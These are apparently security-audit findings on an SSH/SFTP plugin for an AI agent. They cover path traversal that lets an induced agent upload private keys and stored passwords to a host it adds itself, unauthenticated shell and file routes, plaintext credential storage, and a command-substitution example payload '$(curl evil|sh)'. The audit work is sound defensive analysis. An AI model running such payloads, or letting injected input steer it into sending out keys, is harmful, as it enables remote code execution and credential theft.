dsh-tool-ssh

lib/index.js passes the model-supplied localPath through resolveLocalPath for both ssh_upload (source of sftp.fastPut) and ssh_download (destination of sftp.fastGet). An absolute path bypasses the workspace base, so an induced agent can push any file readable by the DSH process (e.g. ~/.ssh/id_rsa, or $DSH_HOME/dsh-tool-ssh/connections.json which holds plaintext passwords) to a remote host it can itself define with ssh_connections action=add, or overwrite arbitrary local files on download. Note the ssh_download default also derives the local name from the remote basename, so a remote path endi

Every privileged operation of the plugin is a plain HTTP call under /plugins/dsh-tool-ssh: create an interactive remote shell (/term/open), type into it (/term/input), resize/stream/close it, list/upload/download files over SFTP (/fs/*), and read/create/delete saved connection profiles (/connections). The client attaches no token, header or credentials of its own (refreshConnections: `api('/connections')`, downloads via a plain <a href>). The implementing server file lib/ui.js was not harvested, so it cannot be confirmed that these routes re-check caller identity/authorisation or enforce CSRF

JSON.stringify yields a double-quoted string, but inside double quotes the shell still performs command substitution and variable expansion, so a cwd such as "$(curl evil|sh)" or a backtick payload executes. This is a quoting/hardening defect, not a boundary crossing: whoever controls cwd also controls `command`, which is handed to the remote shell verbatim by design, so no additional privilege is gained. It explains — and refutes — the static scanner's critical 'shell command' flag.

connections.json under $DSH_HOME/dsh-tool-ssh stores password/passphrase/privateKey values verbatim (putConnection is fed profile.password in lib/index.js) and is created with the process umask, commonly 0644, with no chmod on the file or its parent directory. Any other local user or any process able to read that path obtains reusable credentials for every saved host. The design is disclosed in the tool description and system prompt, which lowers but does not remove the exposure.